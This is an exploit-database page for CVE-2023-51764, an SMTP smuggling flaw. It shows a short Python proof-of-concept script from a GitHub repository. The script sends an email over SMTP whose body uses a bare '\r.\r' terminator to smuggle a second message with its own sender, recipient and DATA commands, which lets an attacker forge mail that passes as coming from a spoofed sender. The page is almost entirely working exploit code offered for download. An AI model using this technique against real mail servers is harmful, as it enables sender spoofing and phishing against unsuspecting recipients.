Exploit database

GH-c7ddba383186cd6241e9b40be1045c78

eeenvik1/cve-2023-51764

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2023-51764

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
eeenvik1/cve-2023-51764Revision 0d2332e310ce

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2023-51764_465.py

Python · 1,037 bytes
import smtplib
import ssl

# SMTP server details
smtp_server = 'smtp.server.com'
smtp_port = 465

# Sender and recipient details
from_address = '[email protected]'
to_address = '[email protected]'

# Email message details
subject = 'Message # 1'
body = '''\
Message # 1
\r.\r
mail FROM:<[email protected]>
rcpt TO:<[email protected]>
data

Hello sweet baby Im your Santa
'''

# Authentication details
username = 'login'
password = 'password'

# Create an SSL/TLS context
context = ssl.create_default_context()

# Connect to the SMTP server using SSL/TLS
with smtplib.SMTP_SSL(smtp_server, smtp_port, context=context) as server:
    # Enable debugging to print the server's responses
    server.set_debuglevel(1)

    # Login to the SMTP server
    server.login(username, password)

    # Create the email message
    message = f'Subject: {subject}\r\n\r\n{body}'
    message = message.encode()  # Convert the message to bytes

    # Send the email
    server.sendmail(from_address, to_address, message)